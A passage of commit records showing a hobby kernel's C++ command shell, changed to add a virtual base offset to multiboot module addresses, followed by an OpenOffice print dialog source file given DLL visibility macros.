return\nR\"(Displays information:\n\nshow drives [all|master|slave]\n    List drives\n\nshow mboot info\n    Display general multiboot information\nshow mboot mod\n    Display multiboot module information\nshow mboot mem\n    Display multiboot memory map\nshow mboot drives\n    Display multiboot drive information\n\nshow pagedir <start index> [end index]\n    Display page directory entries, index range: 0-1023\nshow pagetab <page dir index> <start index> [end index]\n    Display page table entries, index range: 0-1023\n\nshow ticks\n    Display timer ticks since system boot\n)\";\n    }\n\n    void execute() override\n    {\n        char* arg1 = strtok(nullptr, \" \");\n        if (arg1 == nullptr)\n        {\n            screen << \"Not enough arguments\\n\";\n        }\n        else if (strcmp(arg1, \"drives\") == 0)\n        {\n            char* arg2 = strtok(nullptr, \" \");\n            char* arg3 = strtok(nullptr, \" \");\n            if (arg3 != nullptr)\n            {\n                screen << \"Too many arguments\\n\";\n            }\n            else if (arg2 == nullptr || strcmp(arg2, \"all\") == 0)\n            {\n                printDrives(true, true);\n            }\n            else if (strcmp(arg2, \"master\") == 0)\n            {\n                printDrives(true, false);\n            }\n            else if (strcmp(arg2, \"slave\") == 0)\n            {\n                printDrives(false, true);\n            }\n            else\n            {\n                screen << \"Unknown argument: \\\"\" << arg2 << \"\\\"\\n\";\n            }\n        }\n        else if (strcmp(arg1, \"mboot\") == 0)\n        {\n            char* arg2 = strtok(nullptr, \" \");\n            if (arg2 == nullptr)\n            {\n                screen << \"Not enough arguments\\n\";\n            }\n            else if (strcmp(arg2, \"info\") == 0)\n            {\n                printMultibootInfo(mbootInfo);\n            }\n            else if (strcmp(arg2, \"mem\") == 0)\n            {\n                printMultibootMemMap(mbootInfo->mmap_addr, mbootInfo->mmap_length);\n            }\n            else if (strcmp(arg2, \"mod\") == 0)\n            {\n                printMultibootModules(mbootInfo->mods_addr, mbootInfo->mods_count);\n            }\n            else if (strcmp(arg2, \"drives\") == 0)\n            {\n                printMultibootDrives(mbootInfo->drives_addr, mbootInfo->drives_length);\n            }\n            else\n            {\n                screen << \"Unexpected argument\\n\";\n            }\n        }\n        else if (strcmp(arg1, \"pagedir\") == 0)\n        {\n            char* arg2 = strtok(nullptr, \" \");\n            if (arg2 == nullptr)\n            {\n                screen << \"Not enough arguments\\n\";\n            }\n            else\n            {\n                int startIdx = atoi(arg2);\n                int endIdx = startIdx;\n\n                char* arg3 = strtok(nullptr, \" \");\n                if (arg3 != nullptr)\n                {\n                    endIdx = atoi(arg3);\n                }\n\n                if (startIdx < 0 || startIdx >= 1024)\n                {\n                    screen << \"Invalid start index\\n\";\n                }\n                else if (endIdx < 0 || endIdx >= 1024)\n                {\n                    screen << \"Invalid end index\\n\";\n                }\n                else\n                {\n                    printPageDir(startIdx, endIdx);\n                }\n            }\n        }\n        else if (strcmp(arg1, \"pagetab\") == 0)\n        {\n            char* arg2 = strtok(nullptr, \" \");\n            char* arg3 = strtok(nullptr, \" \");\n            if (arg2 == nullptr || arg3 == nullptr)\n            {\n                screen << \"Not enough arguments\\n\";\n            }\n            else\n            {\n                int pageDirIdx = atoi(arg2);\n                int startIdx = atoi(arg3);\n                int endIdx = startIdx;\n\n                char* arg4 = strtok(nullptr, \" \");\n                if (arg4 != nullptr)\n                {\n                    endIdx = atoi(arg4);\n                }\n\n                if (startIdx < 0 || startIdx >= 1024)\n                {\n                    screen << \"Invalid start index\\n\";\n                }\n                else if (endIdx < 0 || endIdx >= 1024)\n                {\n                    screen << \"Invalid end index\\n\";\n                }\n                else\n                {\n                    printPageTable(pageDirIdx, startIdx, endIdx);\n                }\n            }\n        }\n        else if (strcmp(arg1, \"smile\") == 0 || strcmp(arg1, \"smiley\") == 0)\n        {\n            for (int i = 0; i < 20; ++i)\n            {\n                screen << \"\\1 \\2 \";\n            }\n        }\n        else if (strcmp(arg1, \"ticks\") == 0)\n        {\n            char* arg2 = strtok(nullptr, \" \");\n            if (arg2 != nullptr)\n            {\n                screen << \"Unexpected argument \\\"\" << arg2 << \"\\\"\\n\";\n            }\n            else\n            {\n                screen << os::Timer::getTicks() << '\\n';\n            }\n        }\n        else\n        {\n            screen << \"Unexpected argument\\n\";\n        }\n    }\n\nprivate:\n    const multiboot_info* mbootInfo;\n} showCmd;\n\nclass WriteCommand : public Command\n{\npublic:\n    const char* getName() override\n    {\n        return \"write\";\n    }\n\n    const char* getHelp() override\n    {\n        return\nR\"(Writes a byte to memory\n)\";\n    }\n\n    void execute() override\n    {\n        char* addrArg = strtok(nullptr, \" \");\n        char* valArg = strtok(nullptr, \" \");\n        if (addrArg == nullptr || valArg == nullptr)\n        {\n            screen << \"Not enough arguments\\n\";\n        }\n        else if (strtok(nullptr, \" \") != nullptr)\n        {\n            screen << \"Too many arguments\\n\";\n        }\n        else\n        {\n            bool ok = true;\n\n            char* str = nullptr;\n            long addr = strtol(addrArg, &str, 16);\n            if (str == nullptr || *str != '\\0')\n            {\n                screen << \"Address is not a valid hexadecimal number\\n\";\n                ok = false;\n            }\n\n            str = nullptr;\n            uint8_t val = strtol(valArg, &str, 16);\n            if (str == nullptr || *str != '\\0')\n            {\n                screen << \"Value is not a valid number\\n\";\n                ok = false;\n            }\n\n            if (ok)\n            {\n                uint8_t* ptr = reinterpret_cast<uint8_t*>(addr);\n                *ptr = val;\n            }\n        }\n    }\n} writeCmd;\n\nCommand* Shell::COMMANDS[NUM_COMMANDS] =\n{\n    &clearCmd,\n    &readCmd,\n    &setCmd,\n    &showCmd,\n    &writeCmd,\n};\n\nShell::Shell(const multiboot_info* mbootInfoPtr) :\n    mbootInfo(mbootInfoPtr)\n{\n    showCmd.setMbootInfo(mbootInfo);\n\n    prompt();\n}\n\nvoid Shell::update()\n{\n    char ch;\n    bool avail = screen.read(ch);\n    while (avail)\n    {\n        processChar(ch);\n\n        avail = screen.read(ch);\n    }\n}\n\nvoid Shell::prompt()\n{\n    screen << \"> \";\n}\n\nvoid Shell::processChar(char ch)\n{\n    if (ch == '\\n')\n    {\n        screen << ch;\n        cmd[cmdIdx] = '\\0';\n        processCmd();\n    }\n    else if (ch == '\\b')\n    {\n        if (cmdIdx > 0)\n        {\n            \/\/ clear the previous char\n            screen << \"\\b \\b\";\n            --cmdIdx;\n        }\n    }\n    else if (cmdIdx == CMD_MAX_SIZE)\n    {\n        screen << ch;\n        screen << \"\\nError: Command too long\\n\";\n        resetCmd();\n        prompt();\n    }\n    else\n    {\n        screen << ch;\n        cmd[cmdIdx++] = ch;\n    }\n}\n\nvoid Shell::processCmd()\n{\n    char* token = strtok(cmd, \" \");\n    if (token != nullptr)\n    {\n        bool found = false;\n        if (strcmp(token, \"help\") == 0)\n        {\n            found = true;\n            displayHelp();\n        }\n\n        \/\/ look for command object\n        if (!found)\n        {\n            for (unsigned int i = 0; i < NUM_COMMANDS; ++i)\n            {\n                Command* cmd = COMMANDS[i];\n                if (strcmp(token, cmd->getName()) == 0)\n                {\n                    cmd->execute();\n                    found = true;\n                    break;\n                }\n            }\n\n        }\n\n        \/\/ look for program\n        if (!found)\n        {\n            uint32_t progAddr = 0;\n            found = findProgram(token, progAddr);\n            if (found)\n            {\n                runProgram(progAddr);\n            }\n        }\n\n        if (!found)\n        {\n            screen << \"Unknown command\\n\";\n        }\n    }\n\n    resetCmd();\n    prompt();\n}\n\nbool Shell::findProgram(const char* name, uint32_t& progAddr)\n{\n    bool found = false;\n    uint32_t addr = mbootInfo->mods_addr;\n    uint32_t count = mbootInfo->mods_count;\n\n    for (uint32_t i = 0; i < count; ++i)\n    {\n        \/\/ get module info struct\n        const multiboot_mod_list* module = reinterpret_cast<const multiboot_mod_list*>(addr);\n\n        \/\/ check if name matches\n        const char* modName = reinterpret_cast<const char*>(module->cmdline);\n        if (strcmp(name, modName) == 0)\n        {\n            progAddr = module->mod_start;\n            found = true;\n            break;\n        }\n\n        addr += sizeof(multiboot_mod_list);\n    }\n\n    return found;\n}\n\nvoid Shell::runProgram(uint32_t addr)\n{\n    programPtr program = reinterpret_cast<programPtr>(addr);\n    int rc = program();\n    screen << \"Return code: \" << rc << '\\n';\n}\n\nvoid Shell::displayHelp()\n{\n    char* arg = strtok(nullptr, \" \");\n\n    \/\/ if no argument was given, list the commands\n    if (arg == nullptr)\n    {\n        screen << \"Commands:\\n\";\n        for (unsigned int i = 0; i < NUM_COMMANDS; ++i)\n        {\n            screen << COMMANDS[i]->getName() << '\\n';\n        }\n    }\n    else if (strtok(nullptr, \" \") != nullptr)\n    {\n        screen << \"Only expected one argument\\n\";\n    }\n    else if (strcmp(arg, \"help\") == 0)\n    {\n        screen << \"Displays help for commands\\n\";\n    }\n    else\n    {\n        bool found = false;\n        for (unsigned int i = 0; i < NUM_COMMANDS; ++i)\n        {\n            Command* cmd = COMMANDS[i];\n            if (strcmp(arg, cmd->getName()) == 0)\n            {\n                screen << cmd->getHelp();\n                found = true;\n                break;\n            }\n        }\n\n        if (!found)\n        {\n            screen << '\"' << arg << \"\\\" is not a command\\n\";\n        }\n    }\n}\n\nvoid Shell::resetCmd()\n{\n    cmdIdx = 0;\n}\n<commit_msg>Adding kernel virtual base to module addresses<commit_after>#include \"debug.h\"\n#include \"paging.h\"\n#include \"screen.h\"\n#include \"shell.h\"\n#include \"stdlib.h\"\n#include \"string.h\"\n#include \"system.h\"\n#include \"timer.h\"\n\nclass Command\n{\npublic:\n    virtual const char* getName() = 0;\n\n    virtual const char* getHelp() = 0;\n\n    virtual void execute() = 0;\n};\n\nclass ClearCommand : public Command\n{\npublic:\n    const char* getName() override\n    {\n        return \"clear\";\n    }\n\n    const char* getHelp() override\n    {\n        return \"Clears the screen\\n\";\n    }\n\n    void execute() override\n    {\n        if (strtok(nullptr, \" \") != nullptr)\n        {\n            screen << \"Unexpected arguments\\n\";\n        }\n        else\n        {\n            screen.clear();\n        }\n    }\n} clearCmd;\n\nclass ReadCommand : public Command\n{\npublic:\n    const char* getName() override\n    {\n        return \"read\";\n    }\n\n    const char* getHelp() override\n    {\n        return\nR\"(Reads a byte from memory\n)\";\n    }\n\n    void execute() override\n    {\n        char* arg = strtok(nullptr, \" \");\n        if (arg == nullptr)\n        {\n            screen << \"Not enough arguments\\n\";\n        }\n        else if (strtok(nullptr, \" \") != nullptr)\n        {\n            screen << \"Too many arguments\\n\";\n        }\n        else\n        {\n            char* str = nullptr;\n            long addr = strtol(arg, &str, 16);\n            if (str == nullptr || *str != '\\0')\n            {\n                screen << \"Argument is not a valid hexadecimal number\\n\";\n            }\n            else\n            {\n                uint8_t* ptr = reinterpret_cast<uint8_t*>(addr);\n                uint8_t value = *ptr;\n                screen << os::Screen::hex\n                       << os::Screen::setfill('0')\n                       << os::Screen::setw(2)\n                       << value\n                       << os::Screen::setfill(' ')\n                       << os::Screen::dec\n                       << '\\n';\n            }\n        }\n    }\n} readCmd;\n\nclass SetCommand : public Command\n{\npublic:\n    const char* getName() override\n    {\n        return \"set\";\n    }\n\n    const char* getHelp() override\n    {\n        return\nR\"(Changes config options:\n\nset bg <0-15>\n    Set background color\n\nset fg <0-15>\n    Set foreground color\n)\";\n    }\n\n    void execute() override\n    {\n        char* arg = strtok(nullptr, \" \");\n        if (arg == nullptr)\n        {\n            screen << \"Not enough arguments\\n\";\n        }\n        else if (strcmp(arg, \"bg\") == 0)\n        {\n            char* colorStr = strtok(nullptr, \" \");\n            if (colorStr == nullptr)\n            {\n                screen << \"No color given\\n\";\n            }\n            else\n            {\n                int color = atoi(colorStr);\n                if (color < 0 || color > 15)\n                {\n                    screen << \"Invalid color\\n\";\n                }\n                else\n                {\n                    screen.setBackgroundColor(static_cast<os::Screen::EColor>(color));\n                }\n            }\n        }\n        else if (strcmp(arg, \"fg\") == 0)\n        {\n            char* colorStr = strtok(nullptr, \" \");\n            if (colorStr == nullptr)\n            {\n                screen << \"No color given\\n\";\n            }\n            else\n            {\n                int color = atoi(colorStr);\n                if (color < 0 || color > 15)\n                {\n                    screen << \"Invalid color\\n\";\n                }\n                else\n                {\n                    screen.setForegroundColor(static_cast<os::Screen::EColor>(color));\n                }\n            }\n        }\n        else\n        {\n            screen << \"Unexpected argument\\n\";\n        }\n    }\n} setCmd;\n\nclass ShowCommand : public Command\n{\npublic:\n    ShowCommand() :\n        mbootInfo(nullptr)\n    {\n    }\n\n    void setMbootInfo(const multiboot_info* mbootInfoPtr)\n    {\n        mbootInfo = mbootInfoPtr;\n    }\n\n    const char* getName() override\n    {\n        return \"show\";\n    }\n\n    const char* getHelp() override\n    {\n        return\nR\"(Displays information:\n\nshow drives [all|master|slave]\n    List drives\n\nshow mboot info\n    Display general multiboot information\nshow mboot mod\n    Display multiboot module information\nshow mboot mem\n    Display multiboot memory map\nshow mboot drives\n    Display multiboot drive information\n\nshow pagedir <start index> [end index]\n    Display page directory entries, index range: 0-1023\nshow pagetab <page dir index> <start index> [end index]\n    Display page table entries, index range: 0-1023\n\nshow ticks\n    Display timer ticks since system boot\n)\";\n    }\n\n    void execute() override\n    {\n        char* arg1 = strtok(nullptr, \" \");\n        if (arg1 == nullptr)\n        {\n            screen << \"Not enough arguments\\n\";\n        }\n        else if (strcmp(arg1, \"drives\") == 0)\n        {\n            char* arg2 = strtok(nullptr, \" \");\n            char* arg3 = strtok(nullptr, \" \");\n            if (arg3 != nullptr)\n            {\n                screen << \"Too many arguments\\n\";\n            }\n            else if (arg2 == nullptr || strcmp(arg2, \"all\") == 0)\n            {\n                printDrives(true, true);\n            }\n            else if (strcmp(arg2, \"master\") == 0)\n            {\n                printDrives(true, false);\n            }\n            else if (strcmp(arg2, \"slave\") == 0)\n            {\n                printDrives(false, true);\n            }\n            else\n            {\n                screen << \"Unknown argument: \\\"\" << arg2 << \"\\\"\\n\";\n            }\n        }\n        else if (strcmp(arg1, \"mboot\") == 0)\n        {\n            char* arg2 = strtok(nullptr, \" \");\n            if (arg2 == nullptr)\n            {\n                screen << \"Not enough arguments\\n\";\n            }\n            else if (strcmp(arg2, \"info\") == 0)\n            {\n                printMultibootInfo(mbootInfo);\n            }\n            else if (strcmp(arg2, \"mem\") == 0)\n            {\n                printMultibootMemMap(mbootInfo->mmap_addr, mbootInfo->mmap_length);\n            }\n            else if (strcmp(arg2, \"mod\") == 0)\n            {\n                printMultibootModules(mbootInfo->mods_addr, mbootInfo->mods_count);\n            }\n            else if (strcmp(arg2, \"drives\") == 0)\n            {\n                printMultibootDrives(mbootInfo->drives_addr, mbootInfo->drives_length);\n            }\n            else\n            {\n                screen << \"Unexpected argument\\n\";\n            }\n        }\n        else if (strcmp(arg1, \"pagedir\") == 0)\n        {\n            char* arg2 = strtok(nullptr, \" \");\n            if (arg2 == nullptr)\n            {\n                screen << \"Not enough arguments\\n\";\n            }\n            else\n            {\n                int startIdx = atoi(arg2);\n                int endIdx = startIdx;\n\n                char* arg3 = strtok(nullptr, \" \");\n                if (arg3 != nullptr)\n                {\n                    endIdx = atoi(arg3);\n                }\n\n                if (startIdx < 0 || startIdx >= 1024)\n                {\n                    screen << \"Invalid start index\\n\";\n                }\n                else if (endIdx < 0 || endIdx >= 1024)\n                {\n                    screen << \"Invalid end index\\n\";\n                }\n                else\n                {\n                    printPageDir(startIdx, endIdx);\n                }\n            }\n        }\n        else if (strcmp(arg1, \"pagetab\") == 0)\n        {\n            char* arg2 = strtok(nullptr, \" \");\n            char* arg3 = strtok(nullptr, \" \");\n            if (arg2 == nullptr || arg3 == nullptr)\n            {\n                screen << \"Not enough arguments\\n\";\n            }\n            else\n            {\n                int pageDirIdx = atoi(arg2);\n                int startIdx = atoi(arg3);\n                int endIdx = startIdx;\n\n                char* arg4 = strtok(nullptr, \" \");\n                if (arg4 != nullptr)\n                {\n                    endIdx = atoi(arg4);\n                }\n\n                if (startIdx < 0 || startIdx >= 1024)\n                {\n                    screen << \"Invalid start index\\n\";\n                }\n                else if (endIdx < 0 || endIdx >= 1024)\n                {\n                    screen << \"Invalid end index\\n\";\n                }\n                else\n                {\n                    printPageTable(pageDirIdx, startIdx, endIdx);\n                }\n            }\n        }\n        else if (strcmp(arg1, \"smile\") == 0 || strcmp(arg1, \"smiley\") == 0)\n        {\n            for (int i = 0; i < 20; ++i)\n            {\n                screen << \"\\1 \\2 \";\n            }\n        }\n        else if (strcmp(arg1, \"ticks\") == 0)\n        {\n            char* arg2 = strtok(nullptr, \" \");\n            if (arg2 != nullptr)\n            {\n                screen << \"Unexpected argument \\\"\" << arg2 << \"\\\"\\n\";\n            }\n            else\n            {\n                screen << os::Timer::getTicks() << '\\n';\n            }\n        }\n        else\n        {\n            screen << \"Unexpected argument\\n\";\n        }\n    }\n\nprivate:\n    const multiboot_info* mbootInfo;\n} showCmd;\n\nclass WriteCommand : public Command\n{\npublic:\n    const char* getName() override\n    {\n        return \"write\";\n    }\n\n    const char* getHelp() override\n    {\n        return\nR\"(Writes a byte to memory\n)\";\n    }\n\n    void execute() override\n    {\n        char* addrArg = strtok(nullptr, \" \");\n        char* valArg = strtok(nullptr, \" \");\n        if (addrArg == nullptr || valArg == nullptr)\n        {\n            screen << \"Not enough arguments\\n\";\n        }\n        else if (strtok(nullptr, \" \") != nullptr)\n        {\n            screen << \"Too many arguments\\n\";\n        }\n        else\n        {\n            bool ok = true;\n\n            char* str = nullptr;\n            long addr = strtol(addrArg, &str, 16);\n            if (str == nullptr || *str != '\\0')\n            {\n                screen << \"Address is not a valid hexadecimal number\\n\";\n                ok = false;\n            }\n\n            str = nullptr;\n            uint8_t val = strtol(valArg, &str, 16);\n            if (str == nullptr || *str != '\\0')\n            {\n                screen << \"Value is not a valid number\\n\";\n                ok = false;\n            }\n\n            if (ok)\n            {\n                uint8_t* ptr = reinterpret_cast<uint8_t*>(addr);\n                *ptr = val;\n            }\n        }\n    }\n} writeCmd;\n\nCommand* Shell::COMMANDS[NUM_COMMANDS] =\n{\n    &clearCmd,\n    &readCmd,\n    &setCmd,\n    &showCmd,\n    &writeCmd,\n};\n\nShell::Shell(const multiboot_info* mbootInfoPtr) :\n    mbootInfo(mbootInfoPtr)\n{\n    showCmd.setMbootInfo(mbootInfo);\n\n    prompt();\n}\n\nvoid Shell::update()\n{\n    char ch;\n    bool avail = screen.read(ch);\n    while (avail)\n    {\n        processChar(ch);\n\n        avail = screen.read(ch);\n    }\n}\n\nvoid Shell::prompt()\n{\n    screen << \"> \";\n}\n\nvoid Shell::processChar(char ch)\n{\n    if (ch == '\\n')\n    {\n        screen << ch;\n        cmd[cmdIdx] = '\\0';\n        processCmd();\n    }\n    else if (ch == '\\b')\n    {\n        if (cmdIdx > 0)\n        {\n            \/\/ clear the previous char\n            screen << \"\\b \\b\";\n            --cmdIdx;\n        }\n    }\n    else if (cmdIdx == CMD_MAX_SIZE)\n    {\n        screen << ch;\n        screen << \"\\nError: Command too long\\n\";\n        resetCmd();\n        prompt();\n    }\n    else\n    {\n        screen << ch;\n        cmd[cmdIdx++] = ch;\n    }\n}\n\nvoid Shell::processCmd()\n{\n    char* token = strtok(cmd, \" \");\n    if (token != nullptr)\n    {\n        bool found = false;\n        if (strcmp(token, \"help\") == 0)\n        {\n            found = true;\n            displayHelp();\n        }\n\n        \/\/ look for command object\n        if (!found)\n        {\n            for (unsigned int i = 0; i < NUM_COMMANDS; ++i)\n            {\n                Command* cmd = COMMANDS[i];\n                if (strcmp(token, cmd->getName()) == 0)\n                {\n                    cmd->execute();\n                    found = true;\n                    break;\n                }\n            }\n\n        }\n\n        \/\/ look for program\n        if (!found)\n        {\n            uint32_t progAddr = 0;\n            found = findProgram(token, progAddr);\n            if (found)\n            {\n                runProgram(progAddr);\n            }\n        }\n\n        if (!found)\n        {\n            screen << \"Unknown command\\n\";\n        }\n    }\n\n    resetCmd();\n    prompt();\n}\n\nbool Shell::findProgram(const char* name, uint32_t& progAddr)\n{\n    bool found = false;\n    uint32_t addr = mbootInfo->mods_addr + KERNEL_VIRTUAL_BASE;\n    uint32_t count = mbootInfo->mods_count;\n\n    for (uint32_t i = 0; i < count; ++i)\n    {\n        \/\/ get module info struct\n        const multiboot_mod_list* module = reinterpret_cast<const multiboot_mod_list*>(addr);\n\n        \/\/ check if name matches\n        const char* modName = reinterpret_cast<const char*>(module->cmdline + KERNEL_VIRTUAL_BASE);\n        if (strcmp(name, modName) == 0)\n        {\n            progAddr = module->mod_start + KERNEL_VIRTUAL_BASE;\n            found = true;\n            break;\n        }\n\n        addr += sizeof(multiboot_mod_list);\n    }\n\n    return found;\n}\n\nvoid Shell::runProgram(uint32_t addr)\n{\n    programPtr program = reinterpret_cast<programPtr>(addr);\n    int rc = program();\n    screen << \"Return code: \" << rc << '\\n';\n}\n\nvoid Shell::displayHelp()\n{\n    char* arg = strtok(nullptr, \" \");\n\n    \/\/ if no argument was given, list the commands\n    if (arg == nullptr)\n    {\n        screen << \"Commands:\\n\";\n        for (unsigned int i = 0; i < NUM_COMMANDS; ++i)\n        {\n            screen << COMMANDS[i]->getName() << '\\n';\n        }\n    }\n    else if (strtok(nullptr, \" \") != nullptr)\n    {\n        screen << \"Only expected one argument\\n\";\n    }\n    else if (strcmp(arg, \"help\") == 0)\n    {\n        screen << \"Displays help for commands\\n\";\n    }\n    else\n    {\n        bool found = false;\n        for (unsigned int i = 0; i < NUM_COMMANDS; ++i)\n        {\n            Command* cmd = COMMANDS[i];\n            if (strcmp(arg, cmd->getName()) == 0)\n            {\n                screen << cmd->getHelp();\n                found = true;\n                break;\n            }\n        }\n\n        if (!found)\n        {\n            screen << '\"' << arg << \"\\\" is not a command\\n\";\n        }\n    }\n}\n\nvoid Shell::resetCmd()\n{\n    cmdIdx = 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: printdlg.cxx,v $\n *\n *  $Revision: 1.1.1.1 $\n *\n *  last change: $Author: hr $ $Date: 2000-09-18 16:48:33 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#pragma hdrstop\n\n#include \"sdresid.hxx\"\n#include \"printdlg.hxx\"\n#include \"printdlg.hrc\"\n\n\/*************************************************************************\n|*\n|*    SdPrintDlg::SdPrintDlg()\n|*\n|*    Beschreibung  Dialog zum Einstellen von Printoptionen\n|*\n*************************************************************************\/\n\nSdPrintDlg::SdPrintDlg( Window* pWindow ) :\n    ModalDialog     ( pWindow, SdResId( DLG_PRINT_WARNINGS ) ),\n    aFtInfo         ( this, SdResId( FI_INFO ) ),\n    aRbtScale       ( this, SdResId( RBT_SCALE ) ),\n    aRbtPoster      ( this, SdResId( RBT_POSTER ) ),\n    aRbtCut         ( this, SdResId( RBT_CUT ) ),\n    aGrpOptions     ( this, SdResId( GRP_OPTIONS ) ),\n    aBtnOK          ( this, SdResId( BTN_OK ) ),\n    aBtnCancel      ( this, SdResId( BTN_CANCEL ) ),\n    aBtnHelp        ( this, SdResId( BTN_HELP ) )\n{\n    FreeResource();\n\n    aRbtScale.Check();\n}\n\n\/*************************************************************************\n|*\n|*    SdPrintDlg::GetAttr()\n|*\n|*    Beschreibung  Liefert eingestellte Option zurueck\n|*\n*************************************************************************\/\n\nUSHORT SdPrintDlg::GetAttr()\n{\n    USHORT nOption = 0;\n\n    if( aRbtScale.IsChecked() )\n        nOption = 1;\n    else if( aRbtPoster.IsChecked() )\n        nOption = 2;\n    else if( aRbtCut.IsChecked() )\n        nOption = 3;\n\n    return( nOption );\n}\n\n\n\n\n<commit_msg>INTEGRATION: CWS tune03 (1.1.1.1.542); FILE MERGED 2004\/08\/08 12:54:09 mhu 1.1.1.1.542.1: #i29979# Added SD_DLLPUBLIC\/PRIVATE (see sddllapi.h) to exported symbols\/classes.<commit_after>\/*************************************************************************\n *\n *  $RCSfile: printdlg.cxx,v $\n *\n *  $Revision: 1.2 $\n *\n *  last change: $Author: rt $ $Date: 2004-08-23 08:18:07 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifdef SD_DLLIMPLEMENTATION\n#undef SD_DLLIMPLEMENTATION\n#endif\n\n#pragma hdrstop\n\n#include \"sdresid.hxx\"\n#include \"printdlg.hxx\"\n#include \"printdlg.hrc\"\n\n\/*************************************************************************\n|*\n|*    SdPrintDlg::SdPrintDlg()\n|*\n|*    Beschreibung  Dialog zum Einstellen von Printoptionen\n|*\n*************************************************************************\/\n\nSdPrintDlg::SdPrintDlg( Window* pWindow ) :\n    ModalDialog     ( pWindow, SdResId( DLG_PRINT_WARNINGS ) ),\n    aFtInfo         ( this, SdResId( FI_INFO ) ),\n    aRbtScale       ( this, SdResId( RBT_SCALE ) ),\n    aRbtPoster      ( this, SdResId( RBT_POSTER ) ),\n    aRbtCut         ( this, SdResId( RBT_CUT ) ),\n    aGrpOptions     ( this, SdResId( GRP_OPTIONS ) ),\n    aBtnOK          ( this, SdResId( BTN_OK ) ),\n    aBtnCancel      ( this, SdResId( BTN_CANCEL ) ),\n    aBtnHelp        ( this, SdResId( BTN_HELP ) )\n{\n    FreeResource();\n\n    aRbtScale.Check();\n}\n\n\/*************************************************************************\n|*\n|*    SdPrintDlg::GetAttr()\n|*\n|*    Beschreibung  Liefert eingestellte Option zurueck\n|*\n*************************************************************************\/\n\nUSHORT SdPrintDlg::GetAttr()\n{\n    USHORT nOption = 0;\n\n    if( aRbtScale.IsChecked() )\n        nOption = 1;\n    else if( aRbtPoster.IsChecked() )\n        nOption = 2;\n    else if( aRbtCut.IsChecked() )\n        nOption = 3;\n\n    return( nOption );\n}\n\n\n\n\n<|endoftext|>"}
